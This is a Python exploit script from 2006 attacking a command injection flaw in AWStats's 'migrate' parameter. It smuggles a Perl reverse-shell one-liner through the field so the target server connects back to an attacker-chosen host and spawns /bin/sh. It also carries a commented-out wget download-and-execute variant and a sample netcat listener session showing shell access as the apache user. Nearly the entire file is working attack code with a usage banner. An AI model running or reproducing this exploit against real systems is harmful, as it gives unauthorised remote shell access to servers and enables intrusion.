#!/usr/bin/env python
# http://secunia.com/advisories/19969/
# by redsand@blacksecurity.org
# May 5, 2006 - HAPPY CINCO DE MAYO
# HAPPY BIRTHDAY DAD
# private plz


#
#   redsand@jinxy ~/ $ nc -l -p 31337 -v
#  listening on [any] 31337 ...
#  connect to [65.99.197.147] from blacksecurity.org [65.99.197.147] 53377
#  id
#  uid=81(apache) gid=81(apache) groups=81(apache)
#


import sys, socket, base64
import urllib2, urlparse, urllib

# perl 1 line tcp connect-back code
# needs ip & port
cmd = 'perl -e \'$h="%s";$p=%r;use Socket;$sp=inet_aton($h);$sa=sockaddr_in($p,$sp);;socket(CLIENT,PF_INET,SOCK_STREAM,getprotobyname("tcp"));gethostbyname($h);connect(CLIENT,$sa);open(STDIN,">&CLIENT");open(STDOUT,">&CLIENT");open(STDERR,">&CLIENT");if(fork()){exec "/bin/sh"; exit(0); };\'';

class  rbawstatsMigrate:
  __url = '' 
  __user = ''
  __password = ''
  __auth = False
  __chost =False
  __cport = False
  
  def  __init__(self,host=False, ur=False, ps=False, chost=False, cport=False):
    if host:
      self.__url = host
    if ur:
      self.__user = ur
    if ps:  
      self.__password = ps

    if ur or ps:  self.__auth = True


    if chost: self.__chost = chost
    if cport: self.__cport = cport


    url = urlparse.urlsplit(self.__url)

    i = url[1].find(';')
    if i >= 0:
      self.__parsed_host = url[1][:i]
    else:
      self.__parsed_host = url[1]

  def  probe(self):

    cphost = socket.gethostbyname_ex(self.__chost)

    my_cmd = cmd % (cphost[2][0],self.__cport)
    url_xpl = { "config": self.__parsed_host,
          "migrate":"|cd /tmp/ && %s|awstats052005.%s.txt" % (my_cmd, self.__parsed_host)
          # "migrate":"|cd /tmp/ && wget %s && chmod 777 %s && /tmp/%s|awstats052005.%s.txt" % (rsv, fname, fname, self.__parsed_host)

        }

    #if self.__url[len(self.__url) -1] != '?':
    #  url_xpl = '?' + url_xpl

    url = self.__url 
    url_xpl =  urllib.urlencode(url_xpl)

    try:
      req = urllib2.Request(url, url_xpl)
      if(self.__auth):
        b64str = base64.encodestring('%s:%s' % (self.__user,self.__password))[:-1]
        req.add_header('Authorization', "Basic %s"% b64str)

      req.add_header('Referer', "http://exploit.by.redsand.of.blacksecurity.org")
      req.add_header('Accept', 'text/xml,application/xml,application/xhtml+xml,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1')
      req.add_header('Accept-Language','en-us')
      req.add_header('Accept-Encoding','deflate, gzip')
      req.add_header('User-Agent', "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; [BL4CK] Security")
      req.add_header('Connection' ,'Keep-Alive')
      req.add_header('Cache-Control','no-cache')
      q = urllib2.urlopen(req)
    except IOError, e:
      print "FAILED %s" % e
      sys.exit(0)

    print "SUCCESS, now check to see if it connected-back properly to %s:%s" % (self.__chost,self.__cport)
    sys.exit(0)
    

    
      
user=False
pas=False
url=False
chst=False
cprt=False

print "[BL4CK] AWStats CMD Injection Exploit by redsand@blacksecurity.org"
print "http://secunia.com/advisories/19969/"
print "http://blacksecurity.org - f0r my h0mi3s"

argc = len(sys.argv)
if(argc <= 3):
  print "USAGE: %s http://host/awstats.pl <connect back host> <connect back port> [username] [password] " % sys.argv[0]
  print "\t\* Support 401 HTTP Authentication"
  sys.exit(0)
if(argc > 1):
  url = sys.argv[1]
if(argc > 2):
  chst = sys.argv[2]
if(argc > 3):
  cprt = sys.argv[3]
if(argc > 4):
  user = sys.argv[4]
if(argc > 5):
  pas = sys.argv[5]




    
red = rbawstatsMigrate(url, user, pas, chst, cprt)

red.probe()